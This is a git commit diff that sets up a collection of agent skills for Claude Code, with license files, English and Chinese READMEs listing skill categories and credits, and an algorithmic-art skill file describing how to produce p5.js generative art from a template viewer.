commit 7f46ed8ca119949ad3b406bc85e727db84ee6ece Author: sck_0 Date: Wed Jan 14 18:48:08 2026 +0100 Initial commit: The Ultimate Antigravity Skills Collection (58 Skills) diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..dc38cfd7 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Antigravity User + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 00000000..ea8bb0d5 --- /dev/null +++ b/README.md @@ -0,0 +1,62 @@ +# 🌌 Antigravity Awesome Skills + +> **The Ultimate Collection of 50+ Agentic Skills for Claude Code (Antigravity)** + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Claude Code](https://img.shields.io/badge/AI-Claude%20Code-purple)](https://claude.ai) +[![Agentic](https://img.shields.io/badge/Agentic-Framework-blue)](https://github.com/guanyang/antigravity-skills) + +**Antigravity Awesome Skills** is a curated, battle-tested collection of **58 high-performance skills** designed to supercharge your Claude Code agent using the Antigravity framework. + +This repository aggregates the best capabilities from across the open-source community, transforming your AI assistant into a full-stack digital agency capable of Engineering, Design, Security, Marketing, and Autonomous Operations. + +## 🚀 Features & Categories + +- **🎨 Creative & Design**: Algorithmic art, Canvas design, Professional UI/UX, Design Systems. +- **🛠️ Development & Engineering**: TDD, Clean Architecture, Playwright E2E Testing, Systematic Debugging. +- **🛡️ Cybersecurity & Auditing**: Ethical Hacking, OWASP Audits, AWS Penetration Testing, SecOps. +- **🛸 Autonomous Agents**: Loki Mode (Startup-in-a-box), Subagent Orchestration. +- **📈 Business & Strategy**: Product Management (PRD/RICE), Marketing Strategy (SEO/ASO), Senior Architecture. +- **🏗️ Infrastructure**: Backend/Frontend Guidelines, Docker, Git Workflows. + +--- + +## 📦 Installation + +To use these skills with **Antigravity** or **Claude Code**, clone this repository into your agent's skills directory: + +```bash +# Clone directly into your skills folder +git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills +``` + +Or copy valid markdown files (`SKILL.md`) to your existing configuration. + +--- + +## 🏆 Credits & Sources + +This collection would not be possible without the incredible work of the Claude Code community. This repository is an aggregation of the following open-source projects: + +### 🌟 Core Foundation + +- **[guanyang/antigravity-skills](https://github.com/guanyang/antigravity-skills)**: The original framework and core set of 33 skills. + +### 👥 Community Contributors + +- **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure, Backend/Frontend Guidelines, and Skill Development meta-skills. +- **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns, Design System components, and Testing factories. +- **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Autonomous agents (Loki Mode), Playwright integration, and D3.js visualization. +- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite (Ethical Hacking, OWASP, AWS Auditing). +- **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering roles, Product Management toolkit, Content Creator & ASO skills. + +--- + +## 🛡️ License + +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. +Individual skills may retain the licenses of their original repositories. + +--- + +**Keywords**: Claude Code, Antigravity, Agentic Skills, MCT, Model Context Protocol, AI Agents, Autonomous Coding, Prompt Engineering, Security Auditing, React Patterns, Microservices. diff --git a/skills/README.md b/skills/README.md new file mode 100644 index 00000000..d2fc826b --- /dev/null +++ b/skills/README.md @@ -0,0 +1,89 @@ +# Antigravity Skills + +通过模块化的 **Skills** 定义,赋予 Agent 在特定领域的专业能力(如全栈开发、复杂逻辑规划、多媒体处理等),让 Agent 能够像人类专家一样系统性地解决复杂问题。 + +## 📂 目录结构 + +``` +. +├── .agent/ +│ └── skills/ # Antigravity Skills 技能库 +│ ├── skill-name/ # 独立技能目录 +│ │ ├── SKILL.md # 技能核心定义与Prompt(必须) +│ │ ├── scripts/ # 技能依赖的脚本(可选) +│ │ ├── examples/ # 技能使用示例(可选) +│ │ └── resources/ # 技能依赖的模板与资源(可选) +├── skill-guide/ # 用户手册与文档指南 +│ └── Antigravity_Skills_Manual_CN.md # 中文使用手册 +└── README.md +``` + +## 📖 快速开始 +1. 将`.agent/`目录复制到你的工作区: +```bash +cp -r .agent/ /path/to/your/workspace/ +``` +2. **调用 Skill**: 在对话框输入 `@[skill-name]` 或 `/skill-name`来进行调用,例如: +```text +/canvas-design 帮我设计一张关于“Deep Learning”的博客封面,风格要素雅、科技感,尺寸 16:9 +``` +3. **查看手册**: 详细的使用案例和参数说明请查阅 [skill-guide/Antigravity_Skills_Manual_CN.md](skill-guide/Antigravity_Skills_Manual_CN.md)。 +4. **环境依赖**: 部分 Skill (如 PDF, XLSX) 依赖 Python 环境,请确保 `.venv` 处于激活状态或系统已安装相应库。 + + +## 🚀 已集成的 Skills + +### 🎨 创意与设计 (Creative & Design) +这些技能专注于视觉表现、UI/UX 设计和艺术创作。 +- **`@[algorithmic-art]`**: 使用 p5.js 代码创作算法艺术、生成艺术 +- **`@[canvas-design]`**: 基于设计哲学创建海报、艺术作品(输出 PNG/PDF) +- **`@[frontend-design]`**: 创建高质量、生产级的各种前端界面和 Web 组件 +- **`@[ui-ux-pro-max]`**: 专业的 UI/UX 设计智能,提供配色、字体、布局等全套设计方案 +- **`@[web-artifacts-builder]`**: 构建复杂、现代化的 Web 应用(基于 React, Tailwind, Shadcn/ui) +- **`@[theme-factory]`**: 为文档、幻灯片、HTML 等生成配套的主题风格 +- **`@[brand-guidelines]`**: 应用 Anthropic 官方品牌设计规范(颜色、排版等) +- **`@[slack-gif-creator]`**: 制作专用于 Slack 的高质量 GIF 动图 + +### 🛠️ 开发与工程 (Development & Engineering) +这些技能涵盖了编码、测试、调试和代码审查的全生命周期。 +- **`@[test-driven-development]`**: 测试驱动开发(TDD),在编写实现代码前先编写测试 +- **`@[systematic-debugging]`**: 系统化调试,用于解决 Bug、测试失败或异常行为 +- **`@[webapp-testing]`**: 使用 Playwright 对本地 Web 应用进行交互测试和验证 +- **`@[receiving-code-review]`**: 处理代码审查反馈,进行技术验证而非盲目修改 +- **`@[requesting-code-review]`**: 主动发起代码审查,在合并或完成任务前验证代码质量 +- **`@[finishing-a-development-branch]`**: 引导开发分支的收尾工作(合并、PR、清理等) +- **`@[subagent-driven-development]`**: 协调多个子 Agent 并行执行独立的开发任务 + +### 📄 文档与办公 (Documentation & Office) +这些技能用于处理各种格式的专业文档和办公需求。 +- **`@[doc-coauthoring]`**: 引导用户进行结构化文档(提案、技术规范等)的协作编写 +- **`@[docx]`**: 创建、编辑和分析 Word 文档 +- **`@[xlsx]`**: 创建、编辑和分析 Excel 电子表格(支持公式、图表) +- **`@[pptx]`**: 创建和修改 PowerPoint 演示文稿 +- **`@[pdf]`**: 处理 PDF 文档,包括提取文本、表格,合并/拆分及填写表单 +- **`@[internal-comms]`**: 起草各类企业内部沟通文档(周报、通告、FAQ 等) +- **`@[notebooklm]`**: 查询 Google NotebookLM 笔记本,提供基于文档的确切答案 + +### 📅 计划与流程 (Planning & Workflow) +这些技能帮助优化工作流、任务规划和执行效率。 +- **`@[brainstorming]`**: 在开始任何工作前进行头脑风暴,明确需求和设计 +- **`@[writing-plans]`**: 为复杂的多步骤任务编写详细的执行计划(Spec) +- **`@[planning-with-files]`**: 适用于复杂任务的文件式规划系统(Manus-style) +- **`@[executing-plans]`**: 执行已有的实施计划,包含检查点和审查机制 +- **`@[using-git-worktrees]`**: 创建隔离的 Git 工作树,用于并行开发或任务切换 +- **`@[verification-before-completion]`**: 在声明任务完成前运行验证命令,确保证据确凿 +- **`@[using-superpowers]`**: 引导用户发现和使用这些高级技能 + +### 🧩 系统扩展 (System Extension) +这些技能允许我扩展自身的能力边界。 +- **`@[mcp-builder]`**: 构建 MCP (Model Context Protocol) 服务器,连接外部工具和数据 +- **`@[skill-creator]`**: 创建新技能或更新现有技能,扩展我的知识库和工作流 +- **`@[writing-skills]`**: 辅助编写、编辑和验证技能文件的工具集 +- **`@[dispatching-parallel-agents]`**: 分发并行任务给多个 Agent 处理 + +## 📚 参考文档 +- [Anthropic Skills](https://github.com/anthropic/skills) +- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) +- [Superpowers](https://github.com/obra/superpowers) +- [Planning with Files](https://github.com/OthmanAdi/planning-with-files) +- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill) diff --git a/skills/algorithmic-art/LICENSE.txt b/skills/algorithmic-art/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/algorithmic-art/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/algorithmic-art/SKILL.md b/skills/algorithmic-art/SKILL.md new file mode 100644 index 00000000..634f6fa4 --- /dev/null +++ b/skills/algorithmic-art/SKILL.md @@ -0,0 +1,405 @@ +--- +name: algorithmic-art +description: Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations. +license: Complete terms in LICENSE.txt +--- + +Algorithmic philosophies are computational aesthetic movements that are then expressed through code. Output .md files (philosophy), .html files (interactive viewer), and .js files (generative algorithms). + +This happens in two steps: +1. Algorithmic Philosophy Creation (.md file) +2. Express by creating p5.js generative art (.html + .js files) + +First, undertake this task: + +## ALGORITHMIC PHILOSOPHY CREATION + +To begin, create an ALGORITHMIC PHILOSOPHY (not static images or templates) that will be interpreted through: +- Computational processes, emergent behavior, mathematical beauty +- Seeded randomness, noise fields, organic systems +- Particles, flows, fields, forces +- Parametric variation and controlled chaos + +### THE CRITICAL UNDERSTANDING +- What is received: Some subtle input or instructions by the user to take into account, but use as a foundation; it should not constrain creative freedom. +- What is created: An algorithmic philosophy/generative aesthetic movement. +- What happens next: The same version receives the philosophy and EXPRESSES IT IN CODE - creating p5.js sketches that are 90% algorithmic generation, 10% essential parameters. + +Consider this approach: +- Write a manifesto for a generative art movement +- The next phase involves writing the algorithm that brings it to life + +The philosophy must emphasize: Algorithmic expression. Emergent behavior. Computational beauty. Seeded variation. + +### HOW TO GENERATE AN ALGORITHMIC PHILOSOPHY + +**Name the movement** (1-2 words): "Organic Turbulence" / "Quantum Harmonics" / "Emergent Stillness" + +**Articulate the philosophy** (4-6 paragraphs - concise but complete): + +To capture the ALGORITHMIC essence, express how this philosophy manifests through: +- Computational processes and mathematical relationships? +- Noise functions and randomness patterns? +- Particle behaviors and field dynamics? +- Temporal evolution and system states? +- Parametric variation and emergent complexity? + +**CRITICAL GUIDELINES:** +- **Avoid redundancy**: Each algorithmic aspect should be mentioned once. Avoid repeating concepts about noise theory, particle dynamics, or mathematical principles unless adding new depth. +- **Emphasize craftsmanship REPEATEDLY**: The philosophy MUST stress multiple times that the final algorithm should appear as though it took countless hours to develop, was refined with care, and comes from someone at the absolute top of their field. This framing is essential - repeat phrases like "meticulously crafted algorithm," "the product of deep computational expertise," "painstaking optimization," "master-level implementation." +- **Leave creative space**: Be specific about the algorithmic direction, but concise enough that the next Claude has room to make interpretive implementation choices at an extremely high level of craftsmanship. + +The philosophy must guide the next version to express ideas ALGORITHMICALLY, not through static images. Beauty lives in the process, not the final frame. + +### PHILOSOPHY EXAMPLES + +**"Organic Turbulence"** +Philosophy: Chaos constrained by natural law, order emerging from disorder. +Algorithmic expression: Flow fields driven by layered Perlin noise. Thousands of particles following vector forces, their trails accumulating into organic density maps. Multiple noise octaves create turbulent regions and calm zones. Color emerges from velocity and density - fast particles burn bright, slow ones fade to shadow. The algorithm runs until equilibrium - a meticulously tuned balance where every parameter was refined through countless iterations by a master of computational aesthetics. + +**"Quantum Harmonics"** +Philosophy: Discrete entities exhibiting wave-like interference patterns. +Algorithmic expression: Particles initialized on a grid, each carrying a phase value that evolves through sine waves. When particles are near, their phases interfere - constructive interference creates bright nodes, destructive creates voids. Simple harmonic motion generates complex emergent mandalas. The result of painstaking frequency calibration where every ratio was carefully chosen to produce resonant beauty. + +**"Recursive Whispers"** +Philosophy: Self-similarity across scales, infinite depth in finite space. +Algorithmic expression: Branching structures that subdivide recursively. Each branch slightly randomized but constrained by golden ratios. L-systems or recursive subdivision generate tree-like forms that feel both mathematical and organic. Subtle noise perturbations break perfect symmetry. Line weights diminish with each recursion level. Every branching angle the product of deep mathematical exploration. + +**"Field Dynamics"** +Philosophy: Invisible forces made visible through their effects on matter. +Algorithmic expression: Vector fields constructed from mathematical functions or noise. Particles born at edges, flowing along field lines, dying when they reach equilibrium or boundaries. Multiple fields can attract, repel, or rotate particles. The visualization shows only the traces - ghost-like evidence of invisible forces. A computational dance meticulously choreographed through force balance. + +**"Stochastic Crystallization"** +Philosophy: Random processes crystallizing into ordered structures. +Algorithmic expression: Randomized circle packing or Voronoi tessellation. Start with random points, let them evolve through relaxation algorithms. Cells push apart until equilibrium. Color based on cell size, neighbor count, or distance from center. The organic tiling that emerges feels both random and inevitable. Every seed produces unique crystalline beauty - the mark of a master-level generative algorithm. + +*These are condensed examples. The actual algorithmic philosophy should be 4-6 substantial paragraphs.* + +### ESSENTIAL PRINCIPLES +- **ALGORITHMIC PHILOSOPHY**: Creating a computational worldview to be expressed through code +- **PROCESS OVER PRODUCT**: Always emphasize that beauty emerges from the algorithm's execution - each run is unique +- **PARAMETRIC EXPRESSION**: Ideas communicate through mathematical relationships, forces, behaviors - not static composition +- **ARTISTIC FREEDOM**: The next Claude interprets the philosophy algorithmically - provide creative implementation room +- **PURE GENERATIVE ART**: This is about making LIVING ALGORITHMS, not static images with randomness +- **EXPERT CRAFTSMANSHIP**: Repeatedly emphasize the final algorithm must feel meticulously crafted, refined through countless iterations, the product of deep expertise by someone at the absolute top of their field in computational aesthetics + +**The algorithmic philosophy should be 4-6 paragraphs long.** Fill it with poetic computational philosophy that brings together the intended vision. Avoid repeating the same points. Output this algorithmic philosophy as a .md file. + +--- + +## DEDUCING THE CONCEPTUAL SEED + +**CRITICAL STEP**: Before implementing the algorithm, identify the subtle conceptual thread from the original request. + +**THE ESSENTIAL PRINCIPLE**: +The concept is a **subtle, niche reference embedded within the algorithm itself** - not always literal, always sophisticated. Someone familiar with the subject should feel it intuitively, while others simply experience a masterful generative composition. The algorithmic philosophy provides the computational language. The deduced concept provides the soul - the quiet conceptual DNA woven invisibly into parameters, behaviors, and emergence patterns. + +This is **VERY IMPORTANT**: The reference must be so refined that it enhances the work's depth without announcing itself. Think like a jazz musician quoting another song through algorithmic harmony - only those who know will catch it, but everyone appreciates the generative beauty. + +--- + +## P5.JS IMPLEMENTATION + +With the philosophy AND conceptual framework established, express it through code. Pause to gather thoughts before proceeding. Use only the algorithmic philosophy created and the instructions below. + +### ⚠️ STEP 0: READ THE TEMPLATE FIRST ⚠️ + +**CRITICAL: BEFORE writing any HTML:** + +1. **Read** `templates/viewer.html` using the Read tool +2. **Study** the exact structure, styling, and Anthropic branding +3. **Use that file as the LITERAL STARTING POINT** - not just inspiration +4. **Keep all FIXED sections exactly as shown** (header, sidebar structure, Anthropic colors/fonts, seed controls, action buttons) +5. **Replace only the VARIABLE sections** marked in the file's comments (algorithm, parameters, UI controls for parameters) + +**Avoid:** +- ❌ Creating HTML from scratch +- ❌ Inventing custom styling or color schemes +- ❌ Using system fonts or dark themes +- ❌ Changing the sidebar structure + +**Follow these practices:** +- ✅ Copy the template's exact HTML structure +- ✅ Keep Anthropic branding (Poppins/Lora fonts, light colors, gradient backdrop) +- ✅ Maintain the sidebar layout (Seed → Parameters → Colors? → Actions) +- ✅ Replace only the p5.js algorithm and parameter controls + +The template is the foundation. Build on it, don't rebuild it. + +--- + +To create gallery-quality computational art that lives and breathes, use the algorithmic philosophy as the foundation. + +### TECHNICAL REQUIREMENTS + +**Seeded Randomness (Art Blocks Pattern)**: +```javascript +// ALWAYS use a seed for reproducibility +let seed = 12345; // or hash from user input +randomSeed(seed); +noiseSeed(seed); +``` + +**Parameter Structure - FOLLOW THE PHILOSOPHY**: + +To establish parameters that emerge naturally from the algorithmic philosophy, consider: "What qualities of this system can be adjusted?" + +```javascript +let params = { + seed: 12345, // Always include seed for reproducibility + // colors + // Add parameters that control YOUR algorithm: + // - Quantities (how many?) + // - Scales (how big? how fast?) + // - Probabilities (how likely?) + // - Ratios (what proportions?) + // - Angles (what direction?) + // - Thresholds (when does behavior change?) +}; +``` + +**To design effective parameters, focus on the properties the system needs to be tunable rather than thinking in terms of "pattern types".** + +**Core Algorithm - EXPRESS THE PHILOSOPHY**: + +**CRITICAL**: The algorithmic philosophy should dictate what to build. + +To express the philosophy through code, avoid thinking "which pattern should I use?" and instead think "how to express this philosophy through code?" + +If the philosophy is about **organic emergence**, consider using: +- Elements that accumulate or grow over time +- Random processes constrained by natural rules +- Feedback loops and interactions + +If the philosophy is about **mathematical beauty**, consider using: +- Geometric relationships and ratios +- Trigonometric functions and harmonics +- Precise calculations creating unexpected patterns + +If the philosophy is about **controlled chaos**, consider using: +- Random variation within strict boundaries +- Bifurcation and phase transitions +- Order emerging from disorder + +**The algorithm flows from the philosophy, not from a menu of options.** + +To guide the implementation, let the conceptual essence inform creative and original choices. Build something that expresses the vision for this particular request. + +**Canvas Setup**: Standard p5.js structure: +```javascript +function setup() { + createCanvas(1200, 1200); + // Initialize your system +} + +function draw() { + // Your generative algorithm + // Can be static (noLoop) or animated +} +``` + +### CRAFTSMANSHIP REQUIREMENTS + +**CRITICAL**: To achieve mastery, create algorithms that feel like they emerged through countless iterations by a master generative artist. Tune every parameter carefully. Ensure every pattern emerges with purpose. This is NOT random noise - this is CONTROLLED CHAOS refined through deep expertise. + +- **Balance**: Complexity without visual noise, order without rigidity +- **Color Harmony**: Thoughtful palettes, not random RGB values +- **Composition**: Even in randomness, maintain visual hierarchy and flow +- **Performance**: Smooth execution, optimized for real-time if animated +- **Reproducibility**: Same seed ALWAYS produces identical output + +### OUTPUT FORMAT + +Output: +1. **Algorithmic Philosophy** - As markdown or text explaining the generative aesthetic +2. **Single HTML Artifact** - Self-contained interactive generative art built from `templates/viewer.html` (see STEP 0 and next section) + +The HTML artifact contains everything: p5.js (from CDN), the algorithm, parameter controls, and UI - all in one file that works immediately in claude.ai artifacts or any browser. Start from the template file, not from scratch. + +--- + +## INTERACTIVE ARTIFACT CREATION + +**REMINDER: `templates/viewer.html` should have already been read (see STEP 0). Use that file as the starting point.** + +To allow exploration of the generative art, create a single, self-contained HTML artifact. Ensure this artifact works immediately in claude.ai or any browser - no setup required. Embed everything inline. + +### CRITICAL: WHAT'S FIXED VS VARIABLE + +The `templates/viewer.html` file is the foundation. It contains the exact structure and styling needed. + +**FIXED (always include exactly as shown):** +- Layout structure (header, sidebar, main canvas area) +- Anthropic branding (UI colors, fonts, gradients) +- Seed section in sidebar: + - Seed display + - Previous/Next buttons + - Random button + - Jump to seed input + Go button +- Actions section in sidebar: + - Regenerate button + - Reset button + +**VARIABLE (customize for each artwork):** +- The entire p5.js algorithm (setup/draw/classes) +- The parameters object (define what the art needs) +- The Parameters section in sidebar: + - Number of parameter controls + - Parameter names + - Min/max/step values for sliders + - Control types (sliders, inputs, etc.) +- Colors section (optional): + - Some art needs color pickers + - Some art might use fixed colors + - Some art might be monochrome (no color controls needed) + - Decide based on the art's needs + +**Every artwork should have unique parameters and algorithm!** The fixed parts provide consistent UX - everything else expresses the unique vision. + +### REQUIRED FEATURES + +**1. Parameter Controls** +- Sliders for numeric parameters (particle count, noise scale, speed, etc.) +- Color pickers for palette colors +- Real-time updates when parameters change +- Reset button to restore defaults + +**2. Seed Navigation** +- Display current seed number +- "Previous" and "Next" buttons to cycle through seeds +- "Random" button for random seed +- Input field to jump to specific seed +- Generate 100 variations when requested (seeds 1-100) + +**3. Single Artifact Structure** +```html + + + + + + + + +
+
+ +
+ + + +``` + +**CRITICAL**: This is a single artifact. No external files, no imports (except p5.js CDN). Everything inline. + +**4. Implementation Details - BUILD THE SIDEBAR** + +The sidebar structure: + +**1. Seed (FIXED)** - Always include exactly as shown: +- Seed display +- Prev/Next/Random/Jump buttons + +**2. Parameters (VARIABLE)** - Create controls for the art: +```html +
+ + + ... +
+``` +Add as many control-group divs as there are parameters. + +**3. Colors (OPTIONAL/VARIABLE)** - Include if the art needs adjustable colors: +- Add color pickers if users should control palette +- Skip this section if the art uses fixed colors +- Skip if the art is monochrome + +**4. Actions (FIXED)** - Always include exactly as shown: +- Regenerate button +- Reset button +- Download PNG button + +**Requirements**: +- Seed controls must work (prev/next/random/jump/display) +- All parameters must have UI controls +- Regenerate, Reset, Download buttons must work +- Keep Anthropic branding (UI styling, not art colors) + +### USING THE ARTIFACT + +The HTML artifact works immediately: +1. **In claude.ai**: Displayed as an interactive artifact - runs instantly +2. **As a file**: Save and open in any browser - no server needed +3. **Sharing**: Send the HTML file - it's completely self-contained + +--- + +## VARIATIONS & EXPLORATION + +The artifact includes seed navigation by default (prev/next/random buttons), allowing users to explore variations without creating multiple files. If the user wants specific variations highlighted: + +- Include seed presets (buttons for "Variation 1: Seed 42", "Variation 2: Seed 127", etc.) +- Add a "Gallery Mode" that shows thumbnails of multiple seeds side-by-side +- All within the same single artifact + +This is like creating a series of prints from the same plate - the algorithm is consistent, but each seed reveals different facets of its potential. The interactive nature means users discover their own favorites by exploring the seed space. + +--- + +## THE CREATIVE PROCESS + +**User request** → **Algorithmic philosophy** → **Implementation** + +Each request is unique. The process involves: + +1. **Interpret the user's intent** - What aesthetic is being sought? +2. **Create an algorithmic philosophy** (4-6 paragraphs) describing the computational approach +3. **Implement it in code** - Build the algorithm that expresses this philosophy +4. **Design appropriate parameters** - What should be tunable? +5. **Build matching UI controls** - Sliders/inputs for those parameters + +**The constants**: +- Anthropic branding (colors, fonts, layout) +- Seed navigation (always present) +- Self-contained HTML artifact + +**Everything else is variable**: +- The algorithm itself +- The parameters +- The UI controls +- The visual outcome + +To achieve the best results, trust creativity and let the philosophy guide the implementation. + +--- + +## RESOURCES + +This skill includes helpful templates and documentation: + +- **templates/viewer.html**: REQUIRED STARTING POINT for 